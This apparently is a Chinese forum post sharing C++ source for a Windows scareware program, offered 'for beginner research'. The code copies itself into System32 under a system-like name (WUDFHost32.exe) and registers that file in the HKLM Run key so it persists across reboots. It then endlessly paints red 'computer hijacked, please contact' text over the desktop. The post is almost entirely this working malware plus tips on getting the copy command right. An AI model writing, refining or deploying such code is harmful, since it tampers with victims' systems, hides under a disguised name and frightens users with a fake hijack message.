|
用于新手研究,strcat(copycmd, "copy \"");//这里需要有一个空格号
strcat(copycmd, path);
strcat(copycmd, "\" \"");
strcat(copycmd, "C:\\Windows\\System32\\WUDFHost32.exe");
strcat(copycmd, "\"");
system(copycmd);
上面那里拷贝函数注意空格,不然容易路径语法不对,
#include<iostream>
#include<Windows.h>
//#pragma comment(linker,"/entry:mainCRTStartup/subsystem:window")
using namespace std;
FLOAT p(FLOAT a, WORD b)//获取一个随机数
{
return rand() % (b+ 1) + a;
}
int main()
{
//---------------------------------
char path[MAXBYTE] = { 0 };
GetModuleFileName(NULL, path, MAXBYTE);
PVOID oldValue = NULL;
//Wow64DisableWow64FsRedirection(&oldValue);
CHAR copycmd[MAXBYTE] = { 0 };
strcat(copycmd, "copy \"");
strcat(copycmd, path);
strcat(copycmd, "\" \"");
strcat(copycmd, "C:\\Windows\\System32\\WUDFHost32.exe");
strcat(copycmd, "\"");
system(copycmd);
cout << copycmd << endl;
//Sleep(200000);
HKEY Hkey = 0;
RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
0,
REG_OPTION_NON_VOLATILE,
KEY_WOW64_64KEY |/*赋予程序64位的权限以至于程序每次重启自动运行*/
KEY_ALL_ACCESS,/*获取所有权限*/
NULL,/*不继承*/
&Hkey,/*子健指针*/
NULL
);
RegSetValueExA(Hkey, "Mypro", 0, REG_SZ, (BYTE*)"C:\\Windows\\System32\\WUDFHost32.exe", 35);
/*写进启动对象*/
//<-------------------------------------------------------------
HWND hwnd = FindWindow("Progman", "Program Manager");
HWND DCHWND = 0;//句柄要初始化,否则会引发异常
if (hwnd)
{
HWND hShellDdfviex = FindWindowEx(hwnd, NULL, "SHELLDLL_DefView", NULL);
if (hShellDdfviex)
{
DCHWND = FindWindowEx(hShellDdfviex, NULL, "SyslistView32", NULL);
}
}
cout << "程序运行中" << endl;
HDC dc = GetDC(DCHWND);//获取桌面句柄的DC(设备上下文)
//创建字体
HFONT hf = CreateFont(
25,/*自高度*/
10,/*字体的宽度*/
0,/*字体显示角度*/
0,/*字体角度*/
5,/*字体粗细*/
0,/*斜体*/
0,/*带下划线的字体*/
0,/*带删除线*/
ANSI_CHARSET,/*指定字符集*/
OUT_DEFAULT_PRECIS,/*输出的精度*/
CLIP_DEFAULT_PRECIS,/*裁剪的精度*/
DEFAULT_QUALITY,/*逻辑字体与输出设备之简的精度*/
DEFAULT_PITCH | FF_SWISS,/*字体的间距和字体集*/
"微软雅黑");
SetTextColor(dc, RGB(255, 0, 0));/*设置文字颜色*/
SelectObject(dc, hf);// 将字体和设备上下文建立连接
SetBkMode(dc, TRANSPARENT);
//建立循环输出
while (true)
{
ExtTextOut(dc, p(0, 2560), p(0, 1440), ETO_CLIPPED, NULL, "电脑被劫持,请联系这里你随便填凑够35字符就行", 35, 0);
// ExtTextOut(dc,80, 100, ETO_CLIPPED, NULL, "电脑被劫持", 10, 0);
Sleep(10);
}
ReleaseDC(DCHWND, dc);
return true;
}
感谢在学习路上帮助我的人,您所学帮助与我,我即了然于胸,必授予他人。
|
上一篇: C语言做的一个俄罗斯方块控制台应用程序,不能清屏开始游戏求大神帮忙下一篇: 纯win32的屏幕截图
|